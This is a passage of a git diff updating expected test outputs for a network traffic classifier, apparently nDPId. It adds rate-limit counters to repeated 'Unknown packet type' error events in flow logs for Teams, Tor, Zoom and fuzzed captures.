Port - ERROR-EVENT: Unknown packet type new: [....62] [ip4][..udp] [....192.168.1.6][51681] -> [..52.114.77.136][.3478] new: [....63] [ip4][..udp] [....192.168.1.6][50016] -> [.52.114.250.123][.3478] detected: [....63] [ip4][..udp] [....192.168.1.6][50016] -> [.52.114.250.123][.3478] [STUN.Teams][VoIP][Safe][] @@ -407,7 +391,6 @@ detected: [....68] [ip4][..udp] [....192.168.1.6][50016] -> [.52.114.250.141][.3478] [STUN.Teams][VoIP][Safe][] detection-update: [....64] [ip4][..tcp] [....192.168.1.6][50018] -> [.52.114.250.123][..443] [TLS.Teams][Collaborative][Safe][euaz.tr.teams.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type new: [....69] [ip4][..udp] [....192.168.1.6][50017] -> [.52.114.250.141][.3478] detected: [....69] [ip4][..udp] [....192.168.1.6][50017] -> [.52.114.250.141][.3478] [STUN.Teams][VoIP][Safe][] detected: [....67] [ip4][..tcp] [....192.168.1.6][50021] -> [.52.114.250.123][..443] [TLS.Teams][Collaborative][Safe][euaz.tr.teams.microsoft.com] @@ -436,7 +419,6 @@ RISK: TLS (probably) Not Carrying HTTPS detection-update: [....74] [ip4][..tcp] [....192.168.1.6][60567] -> [..52.114.77.136][..443] [TLS.Teams][Collaborative][Safe][api.flightproxy.teams.microsoft.com] RISK: TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type new: [....76] [ip4][..udp] [....192.168.1.6][50016] -> [....192.168.0.4][50005] detected: [....76] [ip4][..udp] [....192.168.1.6][50016] -> [....192.168.0.4][50005] [STUN.Teams][VoIP][Safe][] RISK: Known Proto on Non Std Port @@ -449,7 +431,6 @@ new: [....79] [ip4][..udp] [..93.71.110.205][16333] -> [....192.168.1.6][50036] detected: [....79] [ip4][..udp] [..93.71.110.205][16333] -> [....192.168.1.6][50036] [STUN.Skype_TeamsCall][VoIP][Acceptable][] RISK: Known Proto on Non Std Port - ERROR-EVENT: Unknown packet type new: [....80] [ip4][..udp] [..52.114.252.21][.3480] -> [....192.168.1.6][50036] detected: [....80] [ip4][..udp] [..52.114.252.21][.3480] -> [....192.168.1.6][50036] [STUN.Skype_TeamsCall][VoIP][Acceptable][] RISK: Known Proto on Non Std Port @@ -466,13 +447,9 @@ [IATS(ms)....: 45.0,45.1,0.2,47.4,47.2,0.2,0.0,0.1,0.0,0.1,0.0,0.1,0.0,0.1,0.0,0.1,0.0,0.0,8.0,0.0,0.0,52.4,1.2,45.6,48.6,92.2,43.7,69.1,0.3,113.5,1566.9] [PKTLENS.....: 64,52,40,227,1492,52,1492,588,52,52,1492,588,52,40,588,166,40,40,40,147,46,85,46,91,40,141,224,40,71,40,46,46] [ENTROPIES...: 4.4,4.9,4.5,5.4,7.5,4.6,7.4,6.2,4.7,4.7,7.7,7.0,4.7,4.5,7.6,6.6,4.4,4.5,4.5,6.4,4.5,5.8,4.6,5.4,4.6,6.4,6.9,4.5,5.4,4.4,4.6,4.6] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type new: [....82] [ip4][..tcp] [....192.168.1.6][60568] -> [...40.79.138.41][..443] detected: [....82] [ip4][..tcp] [....192.168.1.6][60568] -> [...40.79.138.41][..443] [TLS.Azure][Cloud][Acceptable][gate.hockeyapp.net] detection-update: [....82] [ip4][..tcp] [....192.168.1.6][60568] -> [...40.79.138.41][..443] [TLS.Azure][Cloud][Acceptable][gate.hockeyapp.net] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type new: [....83] [ip4][.icmp] [..93.71.110.205] -> [....192.168.1.6] detected: [....83] [ip4][.icmp] [..93.71.110.205] -> [....192.168.1.6] [ICMP][Network][Acceptable] analyse: [....78] [ip4][..udp] [..93.71.110.205][16332] -> [....192.168.1.6][50016] [STUN.Skype_TeamsCall][VoIP][Acceptable] diff --git a/test/results/flow-info/tls_invalid_reads.pcap.out b/test/results/flow-info/tls_invalid_reads.pcap.out index 3a3621197..1c0f689f6 100644 --- a/test/results/flow-info/tls_invalid_reads.pcap.out +++ b/test/results/flow-info/tls_invalid_reads.pcap.out @@ -15,9 +15,9 @@ RISK: Obsolete TLS (v1.1 or older) DAEMON-EVENT: [Processed: 9 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 1 / 2|skipped: 0|!detected: 0|guessed: 0|detection-updates: 2|updates: 0] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] guessed: [.....2] [ip4][..tcp] [...74.80.160.99][.3258] -> [...67.217.77.28][..443] [TLS.GoTo][VoIP][Acceptable] idle: [.....2] [ip4][..tcp] [...74.80.160.99][.3258] -> [...67.217.77.28][..443] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/tor.pcap.out b/test/results/flow-info/tor.pcap.out index 705364771..e6279c4f0 100644 --- a/test/results/flow-info/tor.pcap.out +++ b/test/results/flow-info/tor.pcap.out @@ -1,49 +1,42 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] new: [.....1] [ip4][..tcp] [..192.168.1.252][51110] -> [..91.143.93.242][..443] detected: [.....1] [ip4][..tcp] [..192.168.1.252][51110] -> [..91.143.93.242][..443] [TLS][Web][Safe][www.ct7ctrgb6cr7.com] RISK: Obsolete TLS (v1.1 or older) detection-update: [.....1] [ip4][..tcp] [..192.168.1.252][51110] -> [..91.143.93.242][..443] [TLS][Web][Safe][www.ct7ctrgb6cr7.com] RISK: Obsolete TLS (v1.1 or older) - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [4/16] new: [.....2] [ip4][..tcp] [..192.168.1.252][51111] -> [....46.59.52.31][..443] detected: [.....2] [ip4][..tcp] [..192.168.1.252][51111] -> [....46.59.52.31][..443] [TLS.Tor][VPN][Potentially Dangerous][www.e6r5p57kbafwrxj3plz.com] RISK: Obsolete TLS (v1.1 or older), Suspicious DGA Domain name, Unsafe Protocol detection-update: [.....2] [ip4][..tcp] [..192.168.1.252][51111] -> [....46.59.52.31][..443] [TLS.Tor][VPN][Potentially Dangerous][www.e6r5p57kbafwrxj3plz.com] RISK: Obsolete TLS (v1.1 or older), Suspicious DGA Domain name, Unsafe Protocol - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [5/16] new: [.....3] [ip4][..tcp] [..192.168.1.252][51112] -> [...38.229.70.53][..443] detected: [.....3] [ip4][..tcp] [..192.168.1.252][51112] -> [...38.229.70.53][..443] [TLS.Tor][VPN][Potentially Dangerous][www.q4cyamnc6mtokjurvdclt.com] RISK: Obsolete TLS (v1.1 or older), Suspicious DGA Domain name, Unsafe Protocol detection-update: [.....3] [ip4][..tcp] [..192.168.1.252][51112] -> [...38.229.70.53][..443] [TLS.Tor][VPN][Potentially Dangerous][www.q4cyamnc6mtokjurvdclt.com] RISK: Obsolete TLS (v1.1 or older), Suspicious DGA Domain name, Unsafe Protocol - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [6/16] + ERROR-EVENT: Unknown packet type [7/16] new: [.....4] [ip4][..udp] [....192.168.1.1][17500] -> [..192.168.1.255][17500] detected: [.....4] [ip4][..udp] [....192.168.1.1][17500] -> [..192.168.1.255][17500] [Dropbox][Cloud][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [8/16] + ERROR-EVENT: Unknown packet type [9/16] + ERROR-EVENT: Unknown packet type [10/16] + ERROR-EVENT: Unknown packet type [11/16] + ERROR-EVENT: Unknown packet type [12/16] + ERROR-EVENT: Unknown packet type [13/16] + ERROR-EVENT: Unknown packet type [14/16] + ERROR-EVENT: Unknown packet type [15/16] + ERROR-EVENT: Unknown packet type [16/16] new: [.....5] [ip4][..udp] [..192.168.1.252][..138] -> [..192.168.1.255][..138] detected: [.....5] [ip4][..udp] [..192.168.1.252][..138] -> [..192.168.1.255][..138] [NetBIOS.SMBv1][System][Dangerous][endian-pc] RISK: Unsafe Protocol - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type analyse: [.....3] [ip4][..tcp] [..192.168.1.252][51112] -> [...38.229.70.53][..443] [TLS.Tor][VPN][Potentially Dangerous] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 31.166| 2.329| 7.550| 56997495.964| 1.900] @@ -64,45 +57,10 @@ [IATS(ms)....: 71.0,71.3,6.7,104.3,10.8,112.6,88.6,84.6,73.7,0.1,73.7,0.8,108.4,107.7,67.8,2.3,74.6,103.6,101.8,113.4,368.7,686.5,37720.4,37995.8,68.2,67.5,104.0,189.0,360.8,68.7,0.2] [PKTLENS.....: 52,52,46,255,40,788,174,99,114,1500,142,46,626,40,626,40,626,626,626,626,40,626,46,626,40,626,40,626,1500,46,1500,1500] [ENTROPIES...: 4.5,4.9,4.5,5.4,4.9,7.4,6.6,6.0,6.1,7.9,6.5,4.5,7.7,4.9,7.6,4.9,7.6,7.6,7.7,7.7,4.8,7.7,4.4,7.7,4.9,7.7,4.9,7.7,7.9,4.5,7.9,7.9] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type update: [.....4] [ip4][..udp] [....192.168.1.1][17500] -> [..192.168.1.255][17500] [Dropbox][Cloud][Acceptable] - ERROR-EVENT: Unknown packet type new: [.....6] [ip4][..tcp] [..192.168.1.252][51104] -> [...157.56.30.46][..443] [MIDSTREAM] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type update: [.....5] [ip4][..udp] [..192.168.1.252][..138] -> [..192.168.1.255][..138] [NetBIOS.SMBv1][System][Dangerous] RISK: Unsafe Protocol - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type analyse: [.....2] [ip4][..tcp] [..192.168.1.252][51111] -> [....46.59.52.31][..443] [TLS.Tor][VPN][Potentially Dangerous] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 71.328| 4.658| 14.789| 218716025.389| 1.800] @@ -113,15 +71,9 @@ [IATS(ms)....: 73.4,74.4,0.4,74.1,3.2,80.2,86.1,83.2,77.3,0.1,76.2,0.8,117.2,116.3,75.2,24.0,101.9,114.5,465.6,429.3,3.5,80.8,117.0,388.8,507.3,75.9,393.9,666.2,34353.1,34399.0,71328.4] [PKTLENS.....: 52,52,46,262,40,789,174,99,114,1500,142,46,626,40,626,40,626,626,40,626,40,626,626,40,626,626,40,626,46,626,46,46] [ENTROPIES...: 4.5,4.9,4.4,5.5,4.7,7.3,6.7,5.9,6.2,7.9,6.5,4.4,7.6,4.8,7.6,4.8,7.7,7.7,4.8,7.7,4.8,7.6,7.7,4.8,7.7,7.7,4.8,7.6,4.5,7.6,4.3,4.5] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] new: [.....7] [ip4][..tcp] [..192.168.1.252][51174] -> [.212.83.155.250][..443] new: [.....8] [ip4][..tcp] [..192.168.1.252][51175] -> [..91.143.93.242][..443] detected: [.....7] [ip4][..tcp] [..192.168.1.252][51174] -> [.212.83.155.250][..443] [TLS][Web][Safe][www.t3i3ru.com] @@ -132,7 +84,7 @@ RISK: Obsolete TLS (v1.1 or older) detection-update: [.....8] [ip4][..tcp] [..192.168.1.252][51175] -> [..91.143.93.242][..443] [TLS.Tor][VPN][Potentially Dangerous][www.gfu7hbxpfp.com] RISK: Obsolete TLS (v1.1 or older), Suspicious DGA Domain name, Unsafe Protocol - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [4/16] new: [.....9] [ip4][..tcp] [..192.168.1.252][51176] -> [...38.229.70.53][..443] detected: [.....9] [ip4][..tcp] [..192.168.1.252][51176] -> [...38.229.70.53][..443] [TLS][Web][Safe][www.jmts2id.com] RISK: Obsolete TLS (v1.1 or older) @@ -148,7 +100,7 @@ [IATS(ms)....: 64.4,65.8,9.5,82.1,4.2,79.8,91.0,88.4,79.6,0.1,78.2,0.9,110.0,109.4,69.1,1.5,80.2,113.6,35.7,145.8,70.8,343.7,637.5,693.9,990.9,1.6,72.0,109.0,69.0,180.1,69.9] [PKTLENS.....: 52,52,46,253,40,788,174,99,114,1500,142,46,626,40,626,40,626,626,40,626,626,40,626,46,626,40,626,626,40,626,626,40] [ENTROPIES...: 4.5,4.9,4.4,5.4,4.8,7.4,6.7,5.9,6.1,7.8,6.6,4.4,7.7,4.8,7.7,4.7,7.7,7.6,4.7,7.6,7.6,4.7,7.7,4.4,7.7,4.8,7.6,7.7,4.8,7.7,7.7,4.7] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [5/16] analyse: [.....9] [ip4][..tcp] [..192.168.1.252][51176] -> [...38.229.70.53][..443] [TLS][Web][Safe] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 0.755| 0.186| 0.164| 26767.544| 4.500] @@ -170,83 +122,28 @@ end: [.....3] [ip4][..tcp] [..192.168.1.252][51112] -> [...38.229.70.53][..443] [TLS.Tor][VPN][Potentially Dangerous] RISK: Obsolete TLS (v1.1 or older), Suspicious DGA Domain name, Unsafe Protocol update: [.....4] [ip4][..udp] [....192.168.1.1][17500] -> [..192.168.1.255][17500] [Dropbox][Cloud][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [6/16] + ERROR-EVENT: Unknown packet type [7/16] + ERROR-EVENT: Unknown packet type [8/16] + ERROR-EVENT: Unknown packet type [9/16] + ERROR-EVENT: Unknown packet type [10/16] + ERROR-EVENT: Unknown packet type [11/16] + ERROR-EVENT: Unknown packet type [12/16] + ERROR-EVENT: Unknown packet type [13/16] + ERROR-EVENT: Unknown packet type [14/16] + ERROR-EVENT: Unknown packet type [15/16] + ERROR-EVENT: Unknown packet type [16/16] update: [.....4] [ip4][..udp] [....192.168.1.1][17500] -> [..192.168.1.255][17500] [Dropbox][Cloud][Acceptable] - ERROR-EVENT: Unknown packet type new: [....10] [ip4][..tcp] [..192.168.1.252][51185] -> [.62.210.137.230][..443] detected: [....10] [ip4][..tcp] [..192.168.1.252][51185] -> [.62.210.137.230][..443] [TLS][Web][Safe][www.6gyip7tqim7sieb.com] RISK: Obsolete TLS (v1.1 or older) detection-update: [....10] [ip4][..tcp] [..192.168.1.252][51185] -> [.62.210.137.230][..443] [TLS][Web][Safe][www.6gyip7tqim7sieb.com] RISK: Obsolete TLS (v1.1 or older) - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type new: [....11] [ip6][..udp] [..............fe80::c583:1972:5728:7323][..546] -> [..............................ff02::1:2][..547] detected: [....11] [ip6][..udp] [..............fe80::c583:1972:5728:7323][..546] -> [..............................ff02::1:2][..547] [DHCPV6][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type update: [.....4] [ip4][..udp] [....192.168.1.1][17500] -> [..192.168.1.255][17500] [Dropbox][Cloud][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type DAEMON-EVENT: [Processed: 3664 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 6 / 11|skipped: 0|!detected: 0|guessed: 1|detection-updates: 7|updates: 5] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type analyse: [.....7] [ip4][..tcp] [..192.168.1.252][51174] -> [.212.83.155.250][..443] [TLS][Web][Safe] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 72.890| 8.727| 22.569| 509351076.823| 2.100] @@ -257,13 +154,7 @@ [IATS(ms)....: 59.4,61.6,13.8,72.1,2.1,62.9,63.5,60.0,79.4,0.3,78.8,1.7,98.3,96.6,56.5,4.5,61.8,64.9,64.0,73.7,275.7,252.8,50.8,9.7,261.4,61538.3,61491.4,72591.4,72890.0,4.0,98.0] [PKTLENS.....: 52,52,46,249,40,783,174,99,114,1500,126,46,626,40,626,40,626,626,626,626,626,46,626,52,626,46,626,46,46,40,40,46] [ENTROPIES...: 4.5,4.9,4.4,5.3,4.8,7.4,6.7,6.0,6.2,7.9,6.5,4.4,7.7,4.8,7.6,4.9,7.7,7.7,7.6,7.7,7.6,4.5,7.7,4.9,7.6,4.5,7.7,4.5,4.5,4.7,4.7,4.5] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type update: [....11] [ip6][..udp] [..............fe80::c583:1972:5728:7323][..546] -> [..............................ff02::1:2][..547] [DHCPV6][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type end: [.....8] [ip4][..tcp] [..192.168.1.252][51175] -> [..91.143.93.242][..443] [TLS.Tor][VPN][Potentially Dangerous] RISK: Obsolete TLS (v1.1 or older), Suspicious DGA Domain name, Unsafe Protocol idle: [.....4] [ip4][..udp] [....192.168.1.1][17500] -> [..192.168.1.255][17500] [Dropbox][Cloud][Acceptable] diff --git a/test/results/flow-info/zoom.pcap.out b/test/results/flow-info/zoom.pcap.out index c7e953124..1027ac015 100644 --- a/test/results/flow-info/zoom.pcap.out +++ b/test/results/flow-info/zoom.pcap.out @@ -11,7 +11,7 @@ RISK: Known Proto on Non Std Port, TLS (probably) Not Carrying HTTPS detection-update: [.....3] [ip4][..tcp] [..192.168.1.117][54863] -> [.167.99.215.164][.4434] [TLS.ntop][Network][Safe][dati.ntop.org] RISK: Known Proto on Non Std Port, TLS (probably) Not Carrying HTTPS - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [.....4] [ip4][..tcp] [..192.168.1.117][54341] -> [.62.149.152.153][..993] [MIDSTREAM] detected: [.....4] [ip4][..tcp] [..192.168.1.117][54341] -> [.62.149.152.153][..993] [IMAPS][Email][Safe] new: [.....5] [ip4][..udp] [..192.168.1.117][57025] -> [239.255.255.250][.1900] @@ -43,7 +43,7 @@ detected: [....16] [ip4][..tcp] [..192.168.1.117][53872] -> [..35.186.224.53][..443] [TLS.GoogleCloud][Cloud][Acceptable] new: [....17] [ip4][.icmp] [..192.168.1.117] -> [..162.255.38.14] detected: [....17] [ip4][.icmp] [..192.168.1.117] -> [..162.255.38.14] [ICMP][Network][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] new: [....18] [ip4][..udp] [....192.168.0.1][...68] -> [255.255.255.255][...67] detected: [....18] [ip4][..udp] [....192.168.0.1][...68] -> [255.255.255.255][...67] [DHCP][Network][Acceptable][tl-sg116e] new: [....19] [ip4][..tcp] [..192.168.1.117][54865] -> [..52.202.62.196][..443] @@ -126,7 +126,7 @@ [ENTROPIES...: 4.4,5.3,5.0,4.3,5.2,7.1,7.3,7.3,5.0,5.1,7.6,5.6,5.1,6.6,7.1,5.1,6.9,6.3,5.1,7.9,7.6,5.1,5.9,5.1,7.9,5.1,7.9,6.6,5.1,5.8,6.9,7.0] new: [....31] [ip4][..udp] [..192.168.1.117][58327] -> [..109.94.160.99][.8801] detected: [....31] [ip4][..udp] [..192.168.1.117][58327] -> [..109.94.160.99][.8801] [Zoom][Video][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [3/16] new: [....32] [ip4][..udp] [..192.168.1.117][60620] -> [..109.94.160.99][.8801] detected: [....32] [ip4][..udp] [..192.168.1.117][60620] -> [..109.94.160.99][.8801] [Zoom][Video][Acceptable] analyse: [....31] [ip4][..udp] [..192.168.1.117][58327] -> [..109.94.160.99][.8801] [Zoom][Video][Acceptable] diff --git a/test/results/fuzz-2006-06-26-2594.pcap.out b/test/results/fuzz-2006-06-26-2594.pcap.out index 7e98fc141..1a22a28dc 100644 --- a/test/results/fuzz-2006-06-26-2594.pcap.out +++ b/test/results/fuzz-2006-06-26-2594.pcap.out @@ -23,7 +23,7 @@ 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469556827530,"flow_src_last_pkt_time":1120469556827530,"flow_dst_last_pkt_time":1120469556827530,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469556827530,"l3_proto":"ip4","src_ip":"192.168.1.110","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00564{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_src_last_pkt_time":1120469556827530,"flow_dst_last_pkt_time":1120469556827530,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469556827530,"pkt":"ADBUADRWAODtAW69CABFAABIaZMAAIARTb7AqAFuwKgBAQqZADUANN1ZTNIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5JXMAJXMAAAE="} 01111{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469556827530,"flow_src_last_pkt_time":1120469556827530,"flow_dst_last_pkt_time":1120469556827530,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469556827530,"l3_proto":"ip4","src_ip":"192.168.1.110","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":9587,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":12,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":27904,"global_ts_usec":1120469558830554} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469558830554,"packet_id":12,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":27904,"global_ts_usec":1120469558830554} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":12,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":27904,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120469556827530,"pkt":"ADBUADRWAODtAW69bQBFAABIaZQAAIARTb3QqAECwKgBAQqZADUANN1ZTNIBAAABAAAAAAAABF9zaXAMX3VkcINzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469560833324,"flow_src_last_pkt_time":1120469560833324,"flow_dst_last_pkt_time":1120469560833324,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469560833324,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2597,"dst_port":29440,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00564{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_src_last_pkt_time":1120469560833324,"flow_dst_last_pkt_time":1120469560833324,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469560833324,"pkt":"ADBUADRWAODtAW69CABFAABIaZUAAIARTbzAqAECwKgBAQolcwAANN9ZTE4BAAABACVzAAAABF9zaXAEX1VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -45,11 +45,11 @@ 